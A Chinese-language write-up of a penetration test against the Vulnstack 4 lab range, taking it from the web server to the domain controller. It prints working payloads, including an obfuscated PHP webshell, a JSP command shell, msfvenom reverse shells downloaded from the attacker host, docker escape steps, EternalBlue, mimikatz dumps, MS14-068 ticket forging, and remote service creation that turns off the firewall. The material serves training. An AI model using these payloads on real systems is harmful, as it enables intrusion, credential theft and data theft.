在上一节《记一次基础的Vulnstack渗透经验分享》中,我们简单的对vulnstack 1的靶场环境做了一次测试,通过外网初探、信息收集、攻入内网最终拿下域控,整个流程算是比较顺利,毕竟这个靶场环境比较基础。如今,vulnstack系列的内网渗透靶场已经发布了六个,在本节中,我们将对vulnstack 4这个靶场进行渗透测试。靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
在整个渗透过程中,我尽量尝试不同的方法并使整个过程变得详细与直白。
本次靶场渗透反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞。
靶场学习路径,可参考:
st漏洞利用
phpmyadmin getshell
tomcat 漏洞利用
docker逃逸
ms14-068
ssh密钥利用
流量转发
历史命令信息泄露
域渗透
靶场环境:
Web服务器有两个网卡,一个网卡连接外网,对外提供web服务,另一个网卡连接内网。并且Web服务器里分别运行有apache(2001端口)、Tomcat(2002端口)、phpmyadmin(2003端口)。域成员主机和DC位于内网,且不能与外网通信。
目标:
域控中存在一份重要文件——《漂亮国网络攻击授权报告》。
环境配置
下载靶场后,
将其解压,通过.ovf格式的文件分别将靶场导入虚拟机,然后配置三台虚拟主机的网络环境。
Web服务器(Ubuntu):
双网卡,一个网卡连接外网,对外提供web服务,另一个网卡连接内网。
模拟外网IP:192.168.0.105
内网IP:192.168.183.128
我在这里将网络适配器 2 连到了VMnet14这个网卡上,稍后需要将VMnet14这个网卡设为仅主机模式。
域成员主机Windows 7:
Windows 7就只有一个网卡,将其连到VMnet14这个网卡上
DC(Windows server 2008):
DC也就只有一个网卡,也将其连到VMnet14这个网卡上
然后编辑虚拟网络设置:
添加一个VMnet14的网络,将其设置为仅主机模式,如下图所示:
这样,我们就为这三台虚拟主机构建了一个内网,DC和域成员祝你Windows 7位于内网,外网访问不到他们,Web服务器作为连接内网和外网的枢纽。
我们的Web服务器为Ubuntu,且其环境都是由docker启动的,根据靶场描述,我们需要启动的环境有:
-
s2-045
-
CVE-2017-12615(tomcat put上传)
-
cve-2018-12613(phpmyadmin文件包含漏洞)
进入到相关目录中,用docker-compose up -d
命令开启,如下图:
查看运行的docker容器:
可见,环境开启成功。
外网初探
此时攻击者并不清楚目标整个网络环境,也不知道Web服务器上面运行有什么服务。
我们已知Web服务器的公网IP为192.168.0.105(模拟),所以,我们攻击者可以先对其Web服务器进行端口扫描,如下:
nmap -T4 -sC -sV 192.168.0.105
可知其开启了ssh、Tomcat、phpmyadmin等,其端口号由于版本如上图一目了然。我们先来测试PhpMyAdmin 4.8.1的漏洞(CVE-2018-12613),该漏洞相比大家已经很熟悉了,是phpMyAdmin 4.8.1版本的一个文件包含漏洞,通过 二次url编码 即可绕过过滤。
PhpMyAdmin 4.8.1文件包含漏洞
我们访问web服务器上的phpmyadmin:
测试CVE-2018-12613漏洞:
http://http://192.168.0.105:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
如上图成功利用,可见确实存在该漏洞。接下来,我们可以通过开启mysql全局日志并改变写入的日志的路径来getshell,但是该方法在SET GLOBAL general_log='on'
开启全局日志是收到了权限限制,所以我们可以考虑包含session文件来getshell。
在sql执行处执行select '<?php phpinfo();?>'
,并F12查看当前页面cookie中的phpmyadmin的值。
得到此时网络cookie中的phpmyadmin值为20b3a71f70b1cb0cd5a34fb7d7b4cf37,则此时产生的session文件名为sess_20b3a71f70b1cb0cd5a34fb7d7b4cf37。构建包含Session值的URL路径,包含该session文件:
?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_20b3a71f70b1cb0cd5a34fb7d7b4cf37
包含成功,显示了phpinfo页面,接下来我们要利用文件包含漏洞来getshell。在sql执行处执行一下语句来在session文件中写入免杀的webshell:
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['whoami']));?>"
F12查看cookie中的phpmyadmin值:
蚁剑连接:
连接成功:
然而,我们虽然拿到了目标服务器的shell,但此时的shell只是目标机docker中的shell,要想实现对docker宿主机的控制,我们还要docker逃逸。
Tomcat 任意文件上传漏洞(CVE-2017-12615)
上面我们演示了PhpMyAdmin 4.8.1文件包含漏洞拿到了目标的shell,接下来我们演示利用Tomcat 任意文件上传漏洞(CVE-2017-12615)来获取目标的控制权。(本次渗透也以该漏洞为主)
我们在当开始的nmap端口扫描中可以发现,目标Web服务器的2002端口上运行着Tomcat,并且版本为8.5.19。我们知道Tomcat的漏洞比较出名的有CVE-2017-12615,CVE-2017-12615是Tomcat中间件的任意文件上传漏洞,但此漏洞影响范围是Apache Tomcat 7.0.0 – 7.0.79,我们靶机的Tomcat版本似乎不再影响范围之内,是实际中Tomcat 5-9均存在类似CVE-2017-12615的利用方式,同样可以类比运用,但这不归属于CVE-2017-12615漏洞。
访问目标Web服务器的Tomcat:
抓包,
在以上红框处做修改,将GET方法改为PUT,并上传webshell文件shell.jsp,其中内容如下:
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<%
%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>
(注意:红框里的文件名处,必须为/shell.jsp/
的格式,最后的/
一定要带着)
上传成功,然后访问该文件的url:
得到一个输入框,开输入框可以用来执行命令,相当于我们上传了一个后门。
我们也可以用curl
来上传,即在攻击者执行:
# -F "file=@{FILE_NAME}" 指定上传文件
curl -v -X PUT -F "file=@shell.jsp" 192.168.0.105:2002/shell.jsp/
当然,我们可以直接在攻击机上用searchsploit来查找Tomcat的8.5.19版本的利用脚本,
searchsploit tomcat 8.5.19 // 查找tomcat 8.5.19的利用脚本
找到了利用脚本42966.py,执行以下命令将利用脚本复制到当前的工作目录(-m参数):
searchsploit -m /exploit/jsp/webapps/42966.py
利用该脚本:
python 42966.py
可以看到帮助页面,如上图。
然后,检查目标机是否存在漏洞:
python 42966.py -u http://192.168.0.105:2002/
可知目标存在漏洞并成功上传了一个测试的文件Poc.jsp:
进行正式攻击:
python 42966.py -u http://192.168.0.105:2002/ -p pwn
如上图,成功的到了目标的shell,原理就是在目标机上传了一个pwn.jsp。但此shell不太稳定且丑,所以我们还是老老实实的用第一种方法上传的后门吧。经过如下测试,我们发现我们获得的shell运行在一个docker容器内:
那我们就需要docker逃逸来获取目标主机(docker宿主机)的shell。首先为了之后上传文件的方便,我们先反弹一个meterpreter过来。
生成msf马:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=4444 -f elf > shell.elf
然后使用python在当前目录下开启一个简单的HTTP服务(默认端口为8000):
python -m SimpleHTTPServer
然后在利用之前上传的shell.jsp执行wget命令,将攻击机上的shell.elf下载下来执行:
wget http://192.168.0.108:8000/shell.elf
chmod 777 shell.elf
./shell.elf
如上图,msf成功获得了会话。
利用CVE-2019-5736逃逸
在Docker 18.09.2之前的版本中使用的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。
平台或产品 受影响版本 Docker Version < 18.09.2 runC Version <= 1.0-rc6
恶意容器需满足以下两个条件之一:
-
由一个攻击者控制的恶意镜像创建
-
攻击者具有某已存在容器的写权限,且可通过docker exec进入。
首先下载并编译main.go脚本,生成攻击payload: https://github.com/Frichetten/CVE-2019-5736-PoC
打开main.go脚本,将脚本中要在目标机上执行的命令修改为反弹shell的命令,IP为攻击机IP,端口为攻击机监听的端口:
编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
用msf的会话将编译得到的main文件上传到docker容器的/home目录中,并赋权:
接着在攻击机kali上面启动nc监听:
nc -lvp 4444
接着在目标docker上面运行main文件,
此时,只需等待目标机管理员重启该docker容器,payload就会触发,如下图,我们手动模拟docker重启:
显示payload执行成功:
但此时攻击机却并没有收到shell,很有可能目标docker不在漏洞影响范围内,我们只能用另一种方法来逃逸。
利用--privileged特权模式逃逸
特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
我们看到靶场描述中有一个“ssh密钥利用”,猜测是利用docker的特权模式来在宿主机硬盘中写入ssh私钥,实现ssh免密登录宿主机,从而实现对目标宿主机的控制。
首先我们现在docker中新建一个/hack目录用来挂在文件:
然后ls /dev
看到/dev目录会发现很多设备文件,
我们可以尝试将/dev/sda1挂载到/hack目录里:
mount /dev/sda1 /hack
查看是否挂在成功:
如上图,挂载成功了,此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的
在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了。
然后,在攻击机本地生成ssh秘钥:
ssh-keygen -f hack
chmod 600 hack // 不要忘记对秘钥文件赋600权限,否则不能执行哦
即可在当前目录下生成一个秘钥文件
接下来要做的就是将生成的秘钥写入到目标机中了。前面说了,将sda1挂载成功,我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的,比如我们访问/hack/home
目录也就是访问宿主机的/home
目录:
看见一个Ubuntu用户的主目录,进去看看,ls -alh /hack/home/ubuntu
(查看包括隐藏的文件):
我们看见了一个.ssh目录,我们也就是要将ssh秘钥写入到.ssh目录里面并将文件命名为authorized_keys(目标机.ssh目录权限必须为700)。
依次执行如下命令写入秘钥:
cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys # -avx是将权限也一起复制
echo '生成的.pub文件的内容' > /hack/home/ubuntu/.ssh/authorized_keys # 将ssh秘钥写入authorized_keys文件
查看秘钥是否写入成功:
cat /hack/home/ubuntu/.ssh/authorized_keys
写入成功。
此时,攻击者就可以利用自己的私钥进行免密登陆目标宿主机了:
ssh -i hack ubuntu@192.168.0.105
成功拿到目标机(docker宿主机)Web服务器的shell。
查看一下网络配置:ifconfig
可知,目标Web服务器除了一个公网IP(192.168.0.105)外,还有一个内网IP(192.168.183.129)。然后我们在目标及上用wget下载我们之前生成的msf马,并执行,反弹一个meterpreter过来,
攻击机开启python简单web服务:python -m SimpleHTTPServer
。
目标机执行:
wget http://192.168.0.108:8000/shell.elf
chmod 777 shell.elf
./shell.elf
攻击机msf得到会话:
接下来我们要做的就是设置代理通向内网、扫描内网主机、添加路由继续渗透等等。
攻入内网
我们在目标Web服务器上面上传earthworm,并开启socks5正向代理:
./ew_for_linux64 -s ssocksd -l 1080
之后攻击机配置好proxychains:
vim /etc/proxychains.conf
此时,我们攻击机上的应用程序就可以通过proxychains代理进目标内网了。探测目标内网的主机存活:
proxychains4 nmap -sT -Pn 192.168.183.1/24 > nmap.txt
经过扫描可以得知目标内网中还有192.168.183.130和192.168.183.131这两台主机。
既然是攻击内网,我们当然少不了试试ms17_010了,我们先在msf上添加一个通往内网的路由:
run autoroute -s 192.168.183.0/24 run autoroute -p
添加成功,开始扫描目标内网中存在ms17_010永恒之蓝漏洞的主机:
发现两个主机都存在漏洞,先打那个Windows 7(192.168.183.131):
setg Proxies socks5:192.168.0.105:1080 // 设置代理,不设置代理ms17_010很难打通 use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp set rhost 192.168.183.131 set lport 4444 set AutoRunScript post/windows/manage/migrate // 自动迁移进程 run
注意要setg Proxies socks5:192.168.0.105:1080
设置代理,不设置代理ms17_010很难打通,不知道为什么,也是刚学到的。
攻击成功了,得到shell后要马上执行命令,否则session可能会意外退出,这是代理工具的问题,EW好像超时不操作就会自动断开。这里我们防止session以外退出,有一种方法是可以在目标Windows 7上传了一个bind_tcp正向的后门,这样即使连接再断了,我们也不用像ms17_010那样再打一遍,而是只执行一下run就可以了:
run persistence -X -i 5 -p 4000 -P windows/meterpreter/bind_tcp
还有一种最直接的方法,就是换个代理工具吧,这里我们将EW换成小离大佬推荐的chisel,据说十分稳定和强大,项目地址:https://github.com/jpillora/chisel 。
在目标web服务器上传chisel_for_linux64,然后执行:
./chisel_for_linux64 server -p 2333 --socks5
攻击机执行:
./chisel_for_linux64 client 192.168.0.105:2333 socks
如上图,成功在攻击机上面的1080端口开启了一个socks5监听,接下来只需在msf上setg Proxies socks5:127.0.0.1:1080
把代理指向127.0.0.1:1080就可以了:
如上图,ms17_010一遍成功,而且session再也不会die掉了。
为了方便接下来的信息收集,我们需要把当前权限降到普通域用户,因为不是域用户的话是没有权限执行域命令的。
getuid #查看当前token use incognito #加载incognito list_tokens -u #列出AccessToken impersonate_token "DEMO\douser" #模拟DEMO\douser用户 rev2self #返回到之前的AccessToken权限
接下来要做的就是信息收集了,详细的内网信息收集请看我的另一篇文章《内网渗透测试:信息收集与上传下载》,这里我们只做几个有用的信息收集。
ipconfig /all 查看本机ip,所在域 route print 打印路由信息 net view 查看局域网内其他主机名 arp -a 查看arp缓存 whoami net start 查看开启了哪些服务 net share 查看开启了哪些共享 net share ipc$ 开启ipc共享 net share c$ 开启c盘共享 net use \\192.168.xx.xx\ipc$ "" /user:"" 与192.168.xx.xx建立空连接 net use \\192.168.xx.xx\c$ "密码" /user:"用户名" 建立c盘共享 dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user目录下的文件 net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user 查看本机用户列表 net user /domain 查看域用户 net localgroup administrators 查看本地管理员组(通常会有域用户) net view /domain 查看有几个域 net user 用户名 /domain 获取指定域用户的信息 net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) net group 组名 /domain 查看域中某工作组 net group "domain admins" /domain 查看域管理员的名字 net group "domain computers" /domain 查看域中的其他主机名 net group "doamin controllers" /domain 查看域控制器(可能有多台)
经过一波收集我们得知,目标Windows 7在DEMO.com域中,域控为WIN-ENS2VR5TR3N$,域管理员为Administrator,我们ping一下主域,查看域控的IP:
ping WIN-ENS2VR5TR3N.DEMO.com
可知域控IP为192.168.183.130。
在目标机上传mimikatz,抓一下Windows 7的密码:
shell mimikatz.exe privilege::debug sekurlsa::logonpasswords
此处有个坑,我用ms17_010获得的system权限在运行mimikatz的时候回报错:
反复折腾了一番最后模拟了一个目标机上的system的令牌竟然成功了:(不可思议,有大佬知道为什么的话请告诉我)
得到douser用户的明文密码为Dotest123。接下来我们就可以继续横向移动攻击域控了。
攻入域控
首先看看能不能用永恒之蓝攻下域控:
失败了。既然我们得到了域用户douser的密码,我们为何不试一下PTT(ms14-068)呢?下面演示ms14-068的利用过程:
在目标Windows 7上传ms14-068.exe,然后执行如下生成TGT票据:
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123 // ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码
如上图成功生成票据文件“TGT_douser@DEMO.com.ccache
”。然后利用mimikatz注入票据:
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc <生成的票据文件> //将票据注入到内存中
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
如上图,票据注入成功。
查看注入是否成功klist
:
尝试net use登录域控:
net use \\WIN-ENS2VR5TR3N
如上图,成功登录域控并列出了域控的c盘目录。此时要想控制域控我们还要在Windows 7上面上传一个正向的msf马。
msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.0.108 lport=4444 -f exe -o bind.exe
将生产的msf上传到Windows 7上,然后用smb文件共享将msf马copy到域控的C盘:
copy c:\windows\system32\bind.exe \\WIN-ENS2VR5TR3N\c$
复制成功:
通过远程在域控上面设置好计划任务:
schtasks /create /tn "test" /tr C:\windows\system32\bind.exe /sc MINUTE /S 192.168.183.130
显示Access is denied:
我们用sc服务来远程执行。
设置服务来关闭防火墙:
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\WIN-ENS2VR5TR3N start unablefirewall
创建服务执行msf马(msf正在监听):
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe" sc \\WIN-ENS2VR5TR3N start bindshell
执行后,msf成功上线域控:
上传mimikatz抓明文密码:
得到域管理员密码为Liu78963。
寻找敏感文件
拿下域控后,我们就要寻找开头说的那个域控中的重要文件了。
我们开启域控的远程桌面:
run post/windows/manage/enable_rdp
登录:
proxychains4 rdesktop 192.168.183.130
登录成功。上传Everything工具:
安装:
打开Everything,开启HTTP服务,设置端口为2333:
开启成功,然后攻击者浏览器设置代理:127.0.0.1:1080(前面不是开启了chisel代理了吗)
这是就可以在url里访问192.168.183.130:2333来遍历域控上的任何文件了:
搜索目标敏感文件:
最终,我们获得了域控上的机密文件。。。
Ending
整个靶场打下来可以学到不少,主要有以下重点内容:
PhpMyAdmin 4.8.1文件包含漏洞 Tomcat 任意文件上传漏洞(CVE-2017-12615) docker逃逸 新的代理工具chisel的使用(十分强大稳定) ......
弟弟想开学。。。